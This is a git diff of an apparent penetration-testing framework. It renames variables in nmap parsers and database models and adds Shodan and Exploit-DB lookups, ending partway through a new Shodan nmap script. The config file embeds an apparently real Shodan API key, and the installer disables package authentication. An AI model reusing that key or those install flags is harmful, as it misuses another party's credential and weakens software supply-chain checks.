self.hostId = hostId class appObj(Base): __tablename__ = 'appObj' @@ -163,7 +163,7 @@ class appObj(Base): extrainfo = Column(String) fingerprint = Column(String) cpe = Column(String) - service_id = Column(String, ForeignKey('serviceObj.id')) + serviceId = Column(String, ForeignKey('serviceObj.id')) def __init__(self, name = '', product = '', version = '', extrainfo = '', fingerprint = '', cpe = ''): self.name = name @@ -194,53 +194,74 @@ def __init__(self, name = '', product = '', version = '', extrainfo = '', finger class l1ScriptObj(Base): __tablename__ = 'l1ScriptObj' - script_id = Column(String) + scriptId = Column(String) id = Column(Integer, primary_key = True) output = Column(String) - port_id = Column(String, ForeignKey('portObj.id')) - host_id = Column(String, ForeignKey('hostObj.id')) + portId = Column(String, ForeignKey('portObj.id')) + hostId = Column(String, ForeignKey('hostObj.id')) - def __init__(self, script_id, output, portId, hostId): - self.script_id = script_id + def __init__(self, scriptId, output, portId, hostId): + self.scriptId = scriptId self.output = unicode(output) - self.port_id = portId - self.host_id = hostId + self.portId = portId + self.hostId = hostId class l2ScriptObj(Base): __tablename__ = 'l2ScriptObj' - script_id = Column(String) + scriptId = Column(String) id = Column(Integer, primary_key = True) output = Column(String) - port_id = Column(String, ForeignKey('portObj.id')) - host_id = Column(String, ForeignKey('hostObj.id')) + portId = Column(String, ForeignKey('portObj.id')) + hostId = Column(String, ForeignKey('hostObj.id')) - def __init__(self, script_id, output, portId, hostId): - self.script_id = script_id + def __init__(self, scriptId, output, portId, hostId): + self.scriptId = scriptId self.output = unicode(output) - self.port_id = portId - self.host_id = hostId + self.portId = portId + self.hostId = hostId class hostObj(Base): __tablename__ = 'hostObj' + # State + state = Column(String) + count = Column(String) checked = Column(String) - os_match = Column(String) - os_accuracy = Column(String) + + # OS + osMatch = Column(String) + osAccuracy = Column(String) + vendor = Column(String) + uptime = Column(String) + lastboot = Column(String) + + # Network + isp = Column(String) + asn = Column(String) ip = Column(String) ipv4 = Column(String) ipv6 = Column(String) macaddr = Column(String) status = Column(String) hostname = Column(String) - host_id = Column(String) + + # ID + hostId = Column(String) id = Column(Integer, primary_key = True) - vendor = Column(String) - uptime = Column(String) - lastboot = Column(String) - distance = Column(String) - state = Column(String) count = Column(String) + # Location + city = Column(String) + countryCode = Column(String) + postalCode = Column(String) + longitude = Column(String) + latitude = Column(String) + distance = Column(String) + + # Network + isp = Column(String) + asn = Column(String) + # host relationships os = relationship(osObj) ports = relationship(portObj) @@ -248,15 +269,15 @@ class hostObj(Base): def __init__(self, **kwargs): self.checked = kwargs.get('checked') or 'False' - self.os_match = kwargs.get('os_match') or 'unknown' - self.os_accuracy = kwargs.get('os_accuracy') or 'NaN' + self.osMatch = kwargs.get('osMatch') or 'unknown' + self.osAccuracy = kwargs.get('osAccuracy') or 'NaN' self.ip = kwargs.get('ip') or 'unknown' self.ipv4 = kwargs.get('ipv4') or 'unknown' self.ipv6 = kwargs.get('ipv6') or 'unknown' self.macaddr = kwargs.get('macaddr') or 'unknown' self.status = kwargs.get('status') or 'unknown' self.hostname = kwargs.get('hostname') or 'unknown' - self.host_id = kwargs.get('hostname') or 'unknown' + self.hostId = kwargs.get('hostname') or 'unknown' self.vendor = kwargs.get('vendor') or 'unknown' self.uptime = kwargs.get('uptime') or 'unknown' self.lastboot = kwargs.get('lastboot') or 'unknown' @@ -267,17 +288,17 @@ def __init__(self, **kwargs): class note(Base): __tablename__ = 'note' - host_id = Column(Integer, ForeignKey('hostObj.id')) + hostId = Column(Integer, ForeignKey('hostObj.id')) id = Column(Integer, primary_key = True) text = Column(String) def __init__(self, hostId, text): self.text = unicode(text) - self.host_id = hostId + self.hostId = hostId class process_output(Base): __tablename__ = 'process_output' - process_id = Column(Integer, ForeignKey('process.id')) + processId = Column(Integer, ForeignKey('process.id')) id = Column(Integer, primary_key = True) output = Column(String) @@ -338,8 +359,3 @@ def commit(self): pass self.dbsemaphore.release() log.info("DB lock released") - - -if __name__ == "__main__": - - db = Database('myDatabase') diff --git a/debian/changelog b/debian/changelog index 2eb72d15..7530497c 100644 --- a/debian/changelog +++ b/debian/changelog @@ -1,4 +1,4 @@ -legion (0.3.4-1) UNRELEASED; urgency=medium +legion (0.3.5-0) UNRELEASED; urgency=medium * Initial release. (Closes: #XXXXXX) diff --git a/debian/watch b/debian/watch index 2980909d..dfd6aac5 100644 --- a/debian/watch +++ b/debian/watch @@ -1,3 +1,3 @@ -version=3.4.0 +version=3.5.0 opts="filenamemangle=s/.*\/v(\d.*).tar.gz/legion-$1.tar.gz/" \ https://github.com/GoVanguard/Legion/releases .*/v(\d.*)\.tar\.gz diff --git a/deps/detectScripts.sh b/deps/detectScripts.sh index 8eb55424..eddbe878 100644 --- a/deps/detectScripts.sh +++ b/deps/detectScripts.sh @@ -66,13 +66,6 @@ else git clone https://github.com/m0rtem/CloudFail.git scripts/CloudFail fi -if [ -a scripts/exploutdb/searchsploit ] - then - echo "Exploit-db has been found" -else - git clone https://github.com/offensive-security/exploitdb.git scripts/exploitdb -fi - if [ ! -f ".initialized" ] then scripts/installDeps.sh diff --git a/deps/installDeps.sh b/deps/installDeps.sh index dc9cfcc5..f87b322b 100644 --- a/deps/installDeps.sh +++ b/deps/installDeps.sh @@ -9,4 +9,4 @@ source ./deps/apt.sh apt-get update -m echo "Installing deps..." -DEBIAN_FRONTEND="noninteractive" apt-get -yqqq --allow-unauthenticated --force-yes -o DPkg::Options::="--force-overwrite" -o DPkg::Options::="--force-confdef" install nmap finger hydra nikto whatweb nbtscan nfs-common rpcbind smbclient sra-toolkit ldap-utils sslscan rwho medusa x11-apps cutycapt leafpad xvfb imagemagick eog hping3 sqlmap wapiti libqt5core5a python-pip python-impacket ruby perl dnsmap urlscan git +DEBIAN_FRONTEND="noninteractive" apt-get -yqqqm --allow-unauthenticated --force-yes -o DPkg::Options::="--force-overwrite" -o DPkg::Options::="--force-confdef" install nmap finger hydra nikto whatweb nbtscan nfs-common rpcbind smbclient sra-toolkit ldap-utils sslscan rwho medusa x11-apps cutycapt leafpad xvfb imagemagick eog hping3 sqlmap wapiti libqt5core5a python-pip python-impacket ruby perl dnsmap urlscan git xsltproc diff --git a/deps/installPythonLibs.sh b/deps/installPythonLibs.sh index b8123336..90e91797 100644 --- a/deps/installPythonLibs.sh +++ b/deps/installPythonLibs.sh @@ -3,5 +3,5 @@ source ./deps/detectPython.sh # Setup Python deps -${PIP3BIN} install -r requirements.txt -${PIP3BIN} install service_identity --upgrade +${PIP3BIN} install -r requirements.txt --upgrade +${PIP3BIN} install service-identity --upgrade diff --git a/legion.conf b/legion.conf index e8e5ad53..bff5e3b1 100644 --- a/legion.conf +++ b/legion.conf @@ -9,7 +9,7 @@ store-cleartext-passwords-on-exit=True username-wordlist-path=/usr/share/wordlists/ [GUISettings] -process-tab-column-widths="125,0,74,92,67,0,124,130,0,0,0,0,0,0,0,964,100" +process-tab-column-widths="125,0,74,92,67,0,124,130,0,0,0,0,0,0,0,554,100" process-tab-detail=False [GeneralSettings] @@ -29,6 +29,8 @@ nmap-fast-tcp=Run nmap (fast TCP), nmap -Pn -sV -sC -F -T4 -vvvv [IP] -oA \"[OUT nmap-fast-udp=Run nmap (fast UDP), "nmap -n -Pn -sU -F --min-rate=1000 -vvvvv [IP] -oA \"[OUTPUT]\"" nmap-full-tcp=Run nmap (full TCP), nmap -Pn -sV -sC -O -p- -T4 -vvvvv [IP] -oA \"[OUTPUT]\" nmap-full-udp=Run nmap (full UDP), nmap -n -Pn -sU -p- -T4 -vvvvv [IP] -oA \"[OUTPUT]\" +nmap-script-Shodan=Run nmap script - Shodan, "nmap -sn -Pn -n --script=./scripts/nmap/shodan-api.nse --script-args shodan-api.apikey=SNYEkE0gdwNu9BRURVDjWPXePCquXqht [IP] -vvvv -oA [OUTPUT]" +nmap-script-Shodan-HQ=Run nmap script - Shodan HQ, "nmap -sn -Pn -n --script=./scripts/nmap/shodan-hq.nse --script-args apikey=SNYEkE0gdwNu9BRURVDjWPXePCquXqht [IP] -vvvv -oA [OUTPUT]" nmap-script-Vulners=Run nmap script - Vulners, "nmap -sV --script=./scripts/nmap/vulners.nse -vvvv [IP] -oA \"[OUTPUT]\"" nmap-udp-1000=Run nmap (top 1000 quick UDP), "nmap -n -Pn -sU --min-rate=1000 -vvvvv [IP] -oA \"[OUTPUT]\"" unicornscan-full-udp=Run unicornscan (full UDP), unicornscan -mU -Ir 1000 [IP]:a -v diff --git a/parsers/CVE.py b/parsers/CVE.py index 0e1b3e40..41736923 100644 --- a/parsers/CVE.py +++ b/parsers/CVE.py @@ -10,6 +10,9 @@ class CVE: url = '' source = '' severity = '' + exploitId = '' + exploit = '' + exploitUrl = '' def __init__(self, cveData): self.name = cveData['id'] @@ -18,3 +21,6 @@ def __init__(self, cveData): self.url = cveData['url'] self.source = cveData['source'] self.severity = cveData['severity'] + self.exploitId = cveData['exploitId'] + self.exploit = cveData['exploit'] + self.exploitUrl = cveData['exploitUrl'] diff --git a/parsers/Host.py b/parsers/Host.py index 631ca434..145e7039 100644 --- a/parsers/Host.py +++ b/parsers/Host.py @@ -13,132 +13,133 @@ import xml.dom.minidom class Host: - ipv4 = '' - ipv6 = '' - macaddr = '' - status = 'none' - hostname = '' - vendor = '' - uptime = '' - lastboot = '' - distance = 0 - state = '' - count = '' - - def __init__( self, HostNode ): - self.host_node = HostNode - self.status = HostNode.getElementsByTagName('status')[0].getAttribute('state') - for e in HostNode.getElementsByTagName('address'): - if e.getAttribute('addrtype') == 'ipv4': - self.ipv4 = e.getAttribute('addr') - elif e.getAttribute('addrtype') == 'ipv6': - self.ipv6 = e.getAttribute('addr') - elif e.getAttribute('addrtype') == 'mac': - self.macaddr = e.getAttribute('addr') - self.vendor = e.getAttribute('vendor') - #self.ip = HostNode.getElementsByTagName('address')[0].getAttribute('addr'); - self.ip = self.ipv4 # for compatibility with the original library - if len(HostNode.getElementsByTagName('hostname')) > 0: - self.hostname = HostNode.getElementsByTagName('hostname')[0].getAttribute('name') - if len(HostNode.getElementsByTagName('uptime')) > 0: - self.uptime = HostNode.getElementsByTagName('uptime')[0].getAttribute('seconds') - self.lastboot = HostNode.getElementsByTagName('uptime')[0].getAttribute('lastboot') - if len(HostNode.getElementsByTagName('distance')) > 0: - self.distance = int(HostNode.getElementsByTagName('distance')[0].getAttribute('value')) - if len(HostNode.getElementsByTagName('extraports')) > 0: - self.state = HostNode.getElementsByTagName('extraports')[0].getAttribute('state') - self.count = HostNode.getElementsByTagName('extraports')[0].getAttribute('count') - - def get_OS(self): - oss = [] - - for OS_node in self.host_node.getElementsByTagName('osclass'): - os = OS.OS(OS_node) - oss.append(os) - - for OS_node in self.host_node.getElementsByTagName('osmatch'): - os = OS.OS(OS_node) - oss.append(os) - - return oss - - def all_ports( self ): - - ports = [ ] - - for port_node in self.host_node.getElementsByTagName('port'): - p = Port.Port(port_node) - ports.append(p) - - return ports - - def get_ports( self, protocol, state ): - '''get a list of ports which is in the special state''' - - open_ports = [ ] - - for port_node in self.host_node.getElementsByTagName('port'): - if port_node.getAttribute('protocol') == protocol and port_node.getElementsByTagName('state')[0].getAttribute('state') == state: - open_ports.append( port_node.getAttribute('portid') ) - - return open_ports - - def get_scripts( self ): - - scripts = [ ] - - for script_node in self.host_node.getElementsByTagName('script'): - scr = Script.Script(script_node) - scripts.append(scr) - - return scripts - - def get_hostscripts( self ): - - scripts = [ ] - for hostscript_node in self.host_node.getElementsByTagName('hostscript'): - for script_node in hostscript_node.getElementsByTagName('script'): - scr = Script.Script(script_node) - scripts.append(scr) - - return scripts - - def get_service( self, protocol, port ): - '''return a Service object''' - - for port_node in self.host_node.getElementsByTagName('port'): - if port_node.getAttribute('protocol') == protocol and port_node.getAttribute('portid') == port: - if (len(port_node.getElementsByTagName('service'))) > 0: - service_node = port_node.getElementsByTagName('service')[0] - service = Service.Service( service_node ) - return service - return None + ipv4 = '' + ipv6 = '' + macaddr = '' + status = 'none' + hostname = '' + vendor = '' + uptime = '' + lastboot = '' + distance = 0 + state = '' + count = '' + + def __init__( self, HostNode ): + self.hostNode = HostNode + self.status = HostNode.getElementsByTagName('status')[0].getAttribute('state') + for e in HostNode.getElementsByTagName('address'): + if e.getAttribute('addrtype') == 'ipv4': + self.ipv4 = e.getAttribute('addr') + elif e.getAttribute('addrtype') == 'ipv6': + self.ipv6 = e.getAttribute('addr') + elif e.getAttribute('addrtype') == 'mac': + self.macaddr = e.getAttribute('addr') + self.vendor = e.getAttribute('vendor') + #self.ip = HostNode.getElementsByTagName('address')[0].getAttribute('addr'); + self.ip = self.ipv4 # for compatibility with the original library + if len(HostNode.getElementsByTagName('hostname')) > 0: + self.hostname = HostNode.getElementsByTagName('hostname')[0].getAttribute('name') + if len(HostNode.getElementsByTagName('uptime')) > 0: + self.uptime = HostNode.getElementsByTagName('uptime')[0].getAttribute('seconds') + self.lastboot = HostNode.getElementsByTagName('uptime')[0].getAttribute('lastboot') + if len(HostNode.getElementsByTagName('distance')) > 0: + self.distance = int(HostNode.getElementsByTagName('distance')[0].getAttribute('value')) + if len(HostNode.getElementsByTagName('extraports')) > 0: + self.state = HostNode.getElementsByTagName('extraports')[0].getAttribute('state') + self.count = HostNode.getElementsByTagName('extraports')[0].getAttribute('count') + + def getOs(self): + oss = [] + + for osNode in self.hostNode.getElementsByTagName('osclass'): + os = OS.OS(osNode) + oss.append(os) + + for osNode in self.hostNode.getElementsByTagName('osmatch'): + os = OS.OS(osNode) + oss.append(os) + + return oss + + def all_ports( self ): + + ports = [] + + for portNode in self.hostNode.getElementsByTagName('port'): + p = Port.Port(portNode) + ports.append(p) + + return ports + + def getPorts( self, protocol, state ): + '''get a list of ports which is in the special state''' + + open_ports = [] + + for portNode in self.hostNode.getElementsByTagName('port'): + if portNode.getAttribute('protocol') == protocol and portNode.getElementsByTagName('state')[0].getAttribute('state') == state: + open_ports.append( portNode.getAttribute('portid') ) + + return open_ports + + def getScripts( self ): + + scripts = [] + + for scriptNode in self.hostNode.getElementsByTagName('script'): + scr = Script.Script(scriptNode) + scr.hostId = self.ipv4 + scripts.append(scr) + + return scripts + + def getHostScripts( self ): + + scripts = [] + for hostscriptNode in self.hostNode.getElementsByTagName('hostscript'): + for scriptNode in hostscriptNode.getElementsByTagName('script'): + scr = Script.Script(scriptNode) + scripts.append(scr) + + return scripts + + def getService( self, protocol, port ): + '''return a Service object''' + + for portNode in self.hostNode.getElementsByTagName('port'): + if portNode.getAttribute('protocol') == protocol and portNode.getAttribute('portid') == port: + if (len(portNode.getElementsByTagName('service'))) > 0: + service_node = portNode.getElementsByTagName('service')[0] + service = Service.Service( service_node ) + return service + return None if __name__ == '__main__': dom = xml.dom.minidom.parse('/tmp/test_pwn01.xml') - host_nodes = dom.getElementsByTagName('host') + hostNodes = dom.getElementsByTagName('host') - if len(host_nodes) == 0: + if len(hostNodes) == 0: sys.exit( ) - host_node = dom.getElementsByTagName('host')[0] + hostNode = dom.getElementsByTagName('host')[0] - h = Host( host_node ) + h = Host( hostNode ) log.info('host status: ' + h.status) log.info('host ip: ' + h.ip) - for port in h.get_ports( 'tcp', 'open' ): + for port in h.getPorts( 'tcp', 'open' ): log.info(port + " is open") log.info("script output:") - for scr in h.get_scripts(): + for scr in h.getScripts(): log.info("script id:" + scr.scriptId) log.info("Output:") log.info(scr.output) log.info("service of tcp port 80:") - s = h.get_service( 'tcp', '80' ) + s = h.getService( 'tcp', '80' ) if s == None: log.info("\tno service") diff --git a/parsers/OS.py b/parsers/OS.py index 602deb14..01808ac2 100644 --- a/parsers/OS.py +++ b/parsers/OS.py @@ -11,7 +11,7 @@ class OS: name = '' family = '' generation = '' - os_type = '' + osType = '' vendor = '' accuracy = 0 @@ -20,7 +20,7 @@ def __init__(self, OSNode): self.name = OSNode.getAttribute('name') self.family = OSNode.getAttribute('osfamily') self.generation = OSNode.getAttribute('osgen') - self.os_type = OSNode.getAttribute('type') + self.osType = OSNode.getAttribute('type') self.vendor = OSNode.getAttribute('vendor') self.accuracy = OSNode.getAttribute('accuracy') @@ -37,7 +37,7 @@ def __init__(self, OSNode): log.info(os.name) log.info(os.family) log.info(os.generation) - log.info(os.os_type) + log.info(os.osType) log.info(os.vendor) log.info(str(os.accuracy)) @@ -45,6 +45,6 @@ def __init__(self, OSNode): log.info(os.name) log.info(os.family) log.info(os.generation) - log.info(os.os_type) + log.info(os.osType) log.info(os.vendor) log.info(str(os.accuracy)) diff --git a/parsers/Parser.py b/parsers/Parser.py index cea4eee5..bc050e60 100644 --- a/parsers/Parser.py +++ b/parsers/Parser.py @@ -24,48 +24,48 @@ def __init__( self, xml_input): self.__dom = xml.dom.minidom.parse(xml_input) self.__session = None self.__hosts = { } - for host_node in self.__dom.getElementsByTagName('host'): - __host = Host.Host(host_node) + for hostNode in self.__dom.getElementsByTagName('host'): + __host = Host.Host(hostNode) self.__hosts[__host.ip] = __host except Exception as ex: log.info("Parser error! Invalid nmap file!") #logging.error(ex) raise - def get_session( self ): + def getSession( self ): '''get this scans information, return a Session object''' run_node = self.__dom.getElementsByTagName('nmaprun')[0] hosts_node = self.__dom.getElementsByTagName('hosts')[0] finish_time = self.__dom.getElementsByTagName('finished')[0].getAttribute('timestr') - nmap_version = run_node.getAttribute('version') - start_time = run_node.getAttribute('startstr') - scan_args = run_node.getAttribute('args') + nmapVersion = run_node.getAttribute('version') + startTime = run_node.getAttribute('startstr') + scanArgs = run_node.getAttribute('args') - total_hosts = hosts_node.getAttribute('total') - up_hosts = hosts_node.getAttribute('up') - down_hosts = hosts_node.getAttribute('down') + totalHosts = hosts_node.getAttribute('total') + upHosts = hosts_node.getAttribute('up') + downHosts = hosts_node.getAttribute('down') MySession = { 'finish_time': finish_time, - 'nmap_version' : nmap_version, - 'scan_args' : scan_args, - 'start_time' : start_time, - 'total_hosts' : total_hosts, - 'up_hosts' : up_hosts, - 'down_hosts' : down_hosts } + 'nmapVersion' : nmapVersion, + 'scanArgs' : scanArgs, + 'startTime' : startTime, + 'totalHosts' : totalHosts, + 'upHosts' : upHosts, + 'downHosts' : downHosts } self.__session = Session.Session( MySession ) return self.__session - def get_host( self, ipaddr ): + def getHost( self, ipaddr ): '''get a Host object by ip address''' return self.__hosts.get(ipaddr) - def all_hosts( self, status = '' ): + def getAllHosts( self, status = '' ): '''get a list of Host object''' @@ -82,7 +82,7 @@ def all_hosts( self, status = '' ): return __tmp_hosts - def all_ips( self, status = '' ): + def getAllIps( self, status = '' ): '''get a list of ip address''' __tmp_ips = [ ] @@ -105,24 +105,24 @@ def all_ips( self, status = '' ): parser = Parser( 'a-full.xml' ) log.info('\nscan session:') - session = parser.get_session() - log.info("\tstart time:\t" + session.start_time) + session = parser.getSession() + log.info("\tstart time:\t" + session.startTime) log.info("\tstop time:\t" + session.finish_time) - log.info("\tnmap version:\t" + session.nmap_version) - log.info("\tnmap args:\t" + session.scan_args) - log.info("\ttotal hosts:\t" + session.total_hosts) - log.info("\tup hosts:\t" + session.up_hosts) - log.info("\tdown hosts:\t" + session.down_hosts) + log.info("\tnmap version:\t" + session.nmapVersion) + log.info("\tnmap args:\t" + session.scanArgs) + log.info("\ttotal hosts:\t" + session.totalHosts) + log.info("\tup hosts:\t" + session.upHosts) + log.info("\tdown hosts:\t" + session.downHosts) - for h in parser.all_hosts(): + for h in parser.getAllHosts(): log.info('host ' +h.ip + ' is ' + h.status) - for port in h.get_ports( 'tcp', 'open' ): + for port in h.getPorts( 'tcp', 'open' ): print(port) log.info("\t---------------------------------------------------") log.info("\tservice of tcp port " + port + ":") - s = h.get_service( 'tcp', port ) + s = h.getService( 'tcp', port ) if s == None: log.info("\t\tno service") @@ -135,7 +135,7 @@ def all_ips( self, status = '' ): log.info("\t\t" + s.fingerprint) log.info("\tscript output:") - sc = port.get_scripts() + sc = port.getScripts() if sc == None: log.info("\t\tno scripts") diff --git a/parsers/Port.py b/parsers/Port.py index c1f0e415..ae8cc120 100644 --- a/parsers/Port.py +++ b/parsers/Port.py @@ -15,14 +15,14 @@ class Port: def __init__(self, PortNode): if not (PortNode is None): - self.port_node = PortNode + self.portNode = PortNode self.portId = PortNode.getAttribute('portid') self.protocol = PortNode.getAttribute('protocol') self.state = PortNode.getElementsByTagName('state')[0].getAttribute('state') - def get_service(self): + def getService(self): - service_node = self.port_node.getElementsByTagName('service') + service_node = self.portNode.getElementsByTagName('service') if len(service_node) > 0: return Service.Service(service_node[0]) @@ -32,7 +32,7 @@ def get_service(self): # def get_cpe(self): # cpes = [] - # cpe = self.port_node.getElementsByTagName('cpe') + # cpe = self.portNode.getElementsByTagName('cpe') # print(cpe) # if len(cpe) > 0: @@ -40,12 +40,12 @@ def get_service(self): # return None - def get_scripts(self): + def getScripts(self): scripts = [ ] - for script_node in self.port_node.getElementsByTagName('script'): - scr = Script.Script(script_node) + for scriptNode in self.portNode.getElementsByTagName('script'): + scr = Script.Script(scriptNode) scripts.append(scr) return scripts diff --git a/parsers/Script.py b/parsers/Script.py index 6a332fe6..76e48ec4 100644 --- a/parsers/Script.py +++ b/parsers/Script.py @@ -7,6 +7,7 @@ import sys import xml.dom.minidom import parsers.CVE as CVE +from db.database import * from pyExploitDb import PyExploitDb class Script: @@ -18,11 +19,16 @@ def __init__(self, ScriptNode): self.scriptId = ScriptNode.getAttribute('id') self.output = ScriptNode.getAttribute('output') - def getExploitDataFromCves(self, cveSet): - for cveEntry in cveSet: - print("CVE Entry: {0}".format(cveEntry)) - cveExploitData = self.pyExploitDb.searchCve(cveEntry(0)) - print("CVE Exploit Data: {0}".format(cveExploitData)) + def processShodanScriptOutput(self, shodanOutput): + output = shodanOutput.replace('\t\t\t','\t') + output = output.replace('\t\t','\t') + output = output.replace('\t',';') + output = output.replace('\n;','\n') + output = output.replace(' ','') + output = output.split('\n') + output = [entry for entry in output if len(entry) > 1] + print(str(output)) + def processVulnersScriptOutput(self, vulnersOutput): output = vulnersOutput.replace('\t\t\t','\t') @@ -35,6 +41,7 @@ def processVulnersScriptOutput(self, vulnersOutput): pyExploitDb = PyExploitDb() pyExploitDb.debug = False + pyExploitDb.autoUpdate = False pyExploitDb.openFile() cpeList = [] @@ -70,11 +77,11 @@ def processVulnersScriptOutput(self, vulnersOutput): resultCveDict['severity'] = resultCveData[1] resultCveDict['url'] = resultCveData[2] exploitResults = pyExploitDb.searchCve(resultCveData[0]) - print("-----------------{0}".format(exploitResults)) + print(exploitResults) if exploitResults: - resultCveDict['exploitid'] = exploitResults['edbid'] + resultCveDict['exploitId'] = exploitResults['edbid'] resultCveDict['exploit'] = exploitResults['exploit'] - resultCveDict['exploiturl'] = "https://www.exploit-db.com/exploits/{0}".format(resultCveDict['exploit']) + resultCveDict['exploitUrl'] = "https://www.exploit-db.com/exploits/{0}".format(resultCveDict['exploit']) resultCvesProcessed.append(resultCveDict) resultCpeDetails['cves'] = resultCvesProcessed resultsDict[resultCpeData[3]] = resultCpeDetails @@ -82,7 +89,7 @@ def processVulnersScriptOutput(self, vulnersOutput): return resultsDict - def get_cves(self): + def getCves(self): cveOutput = self.output cveObjects = [] @@ -102,11 +109,30 @@ def get_cves(self): cveData['version'] = cpeVersion cveData['source'] = cpeSource cveData['product'] = cpeProduct + print("NEW CVE: {0}".format(cveData)) cveObj = CVE.CVE(cveData) cveObjects.append(cveObj) return cveObjects return None + def scriptSelector(self, host): + scriptId = str(self.scriptId).lower() + results = [] + if 'vulners' in scriptId: + print("------------------------VULNERS") + cveResults = self.getCves() + for cveEntry in cveResults: + t_cve = cve(name = cveEntry.name, url = cveEntry.url, source = cveEntry.source, severity = cveEntry.severity, product = cveEntry.product, version = cveEntry.version, hostId = host.id, exploitId = cveEntry.exploitId, exploit = cveEntry.exploit, exploitUrl = cveEntry.exploitUrl) + results.append(t_cve) + return results + elif 'shodan-api' in scriptId: + print("------------------------SHODAN") + #self.processShodanScriptOutput(self.output) + return results + else: + print("-----------------------*{0}".format(scriptId)) + return results + if __name__ == '__main__': dom = xml.dom.minidom.parse('a-full.xml') diff --git a/parsers/Session.py b/parsers/Session.py index daf8a06f..f09b5fc6 100644 --- a/parsers/Session.py +++ b/parsers/Session.py @@ -8,27 +8,27 @@ class Session: def __init__( self, SessionHT ): - self.start_time = SessionHT.get('start_time', '') + self.startTime = SessionHT.get('startTime', '') self.finish_time = SessionHT.get('finish_time', '') - self.nmap_version = SessionHT.get('nmap_version', '') - self.scan_args = SessionHT.get('scan_args', '') - self.total_hosts = SessionHT.get('total_hosts', '') - self.up_hosts = SessionHT.get('up_hosts', '') - self.down_hosts = SessionHT.get('down_hosts', '') + self.nmapVersion = SessionHT.get('nmapVersion', '') + self.scanArgs = SessionHT.get('scanArgs', '') + self.totalHosts = SessionHT.get('totalHosts', '') + self.upHosts = SessionHT.get('upHosts', '') + self.downHosts = SessionHT.get('downHosts', '') if __name__ == '__main__': dom = xml.dom.minidom.parse('i.xml') dom.getElementsByTagName('finished')[0].getAttribute('timestr') - MySession = { 'finish_time': dom.getElementsByTagName('finished')[0].getAttribute('timestr'), 'nmap_version' : '4.79', 'scan_args' : '-sS -sV -A -T4', 'start_time' : dom.getElementsByTagName('nmaprun')[0].getAttribute('startstr'), 'total_hosts' : '1', 'up_hosts' : '1', 'down_hosts' : '0' } + MySession = { 'finish_time': dom.getElementsByTagName('finished')[0].getAttribute('timestr'), 'nmapVersion' : '4.79', 'scanArgs' : '-sS -sV -A -T4', 'startTime' : dom.getElementsByTagName('nmaprun')[0].getAttribute('startstr'), 'totalHosts' : '1', 'upHosts' : '1', 'downHosts' : '0' } s = Session( MySession ) - log.info('start_time:' + s.start_time) + log.info('startTime:' + s.startTime) log.info('finish_time:' + s.finish_time) - log.info('nmap_version:' + s.nmap_version) - log.info('nmap_args:' + s.scan_args) - log.info('total hosts:' + s.total_hosts) - log.info('up hosts:' + s.up_hosts) - log.info('down hosts:' + s.down_hosts) + log.info('nmapVersion:' + s.nmapVersion) + log.info('nmap_args:' + s.scanArgs) + log.info('total hosts:' + s.totalHosts) + log.info('up hosts:' + s.upHosts) + log.info('down hosts:' + s.downHosts) diff --git a/precommit.sh b/precommit.sh index e39c694d..d196d5e0 100644 --- a/precommit.sh +++ b/precommit.sh @@ -25,4 +25,4 @@ find . -name \*.pyo -delete rm -Rf ./scripts/CloudFail/ # Removed backups -rm -Rf ./backups/* +rm -Rf ./backup/*.conf diff --git a/requirements.txt b/requirements.txt index a814949c..5ef51ed0 100644 --- a/requirements.txt +++ b/requirements.txt @@ -1,17 +1,17 @@ asyncio aiohttp aioredis -six==1.11.0 -Quamash==0.6.1 +six>=1.11.0 +Quamash>=0.6.1 SQLAlchemy==1.3.0b1 -aiomonitor==0.3.1 -APScheduler==3.5.3 -PyQt5==5.11.3 -sanic==0.8.3 +aiomonitor>=0.3.1 +APScheduler>=3.5.3 +PyQt5>=5.11.3 +sanic>=0.8.3 sanic_swagger -requests==2.20.1 +requests>=2.20.1 pyfiglet colorama termcolor win_inet_pton -pyExploitDb==0.1.7 +pyExploitDb>=0.1.8 diff --git a/scripts/nmap/shodan-api.nse b/scripts/nmap/shodan-api.nse new file mode 100644 index 00000000..8dab2298 --- /dev/null +++ b/scripts/nmap/shodan-api.nse @@ -0,0 +1,223 @@ +local http = require "http" +local io = require "io" +local ipOps = require "ipOps" +local json = require "json" +local nmap = require "nmap" +local stdnse = require "stdnse" +local string = require "string" +local tab = require "tab" +local table = require "table" +local openssl = stdnse.silent_require "openssl" + + +-- Set your Shodan API key here to avoid typing it in every time: +local apiKey = "" + +author = "Glenn Wilkinson (idea: Charl van der Walt )" +license = "Same as Nmap--See https://nmap.org/book/man-legal.html" +categories = {"discovery", "safe", "external"} + +description = [[ +Queries Shodan API for given targets and produces similar output to +a -sV nmap scan. The ShodanAPI key can be set with the 'apikey' script +argument, or hardcoded in the .nse file itself. You can get a free key from +https://developer.shodan.io + +N.B if you want this script to run completely passively make sure to +include the -sn -Pn -n flags. +]] + +--- +-- @usage +-- nmap --script shodan-api x.y.z.0/24 -sn -Pn -n --script-args 'shodan-api.outfile=potato.csv,shodan-api.apikey=SHODANAPIKEY' +-- nmap --script shodan-api --script-args 'shodan-api.target=x.y.z.a,shodan-api.apikey=SHODANAPIKEY' +-- +-- @output +-- | shodan-api: Report for 2600:3c01::f03c:91ff:fe18:bb2f (scanme.nmap.org) +-- | PORT PROTO PRODUCT VERSION +-- | 80 tcp Apache httpd +-- | 3306 tcp MySQL 5.5.40-0+wheezy1 +-- | 22 tcp OpenSSH 6.0p1 Debian 4+deb7u2 +-- |_443 tcp +-- +--@args shodan-api.outfile Write the results to the specified CSV file +--@args shodan-api.apikey Specify the ShodanAPI key. This can also be hardcoded in the nse file. +--@args shodan-api.target Specify a single target to be scanned. +-- +--@xmloutput +-- +-- scanme.nmap.org +--
+-- +--
+-- tcp +-- 22 +--
+-- +-- 2.4.7 +-- Apache httpd +-- tcp +-- 80 +--
+-- + +-- ToDo: * Have an option to complement non-banner scans with shodan data (e.g. -sS scan, but +-- grab service info from Shodan +-- * Have script arg to include extra host info. e.g. Coutry/city of IP, datetime of +-- scan, verbose port output (e.g. smb share info) +-- * Warn user if they haven't set -sn -Pn and -n (and will therefore actually scan the host +-- * Accept IP ranges via the script argument 'target' parameter + + +-- Begin +if not nmap.registry[SCRIPT_NAME] then + nmap.registry[SCRIPT_NAME] = { + apiKey = stdnse.get_script_args(SCRIPT_NAME .. ".apikey") or apiKey, + count = 0 + } +end +local registry = nmap.registry[SCRIPT_NAME] +local outFile = stdnse.get_script_args(SCRIPT_NAME .. ".outfile") +local arg_target = stdnse.get_script_args(SCRIPT_NAME .. ".target") + +local function lookup_target (target) + local response = http.get("api.shodan.io", 443, "/shodan/host/".. target .."?key=" .. registry.apiKey, {any_af = true}) + if response.status == 404 then + stdnse.debug1("Host not found: %s", target) + return 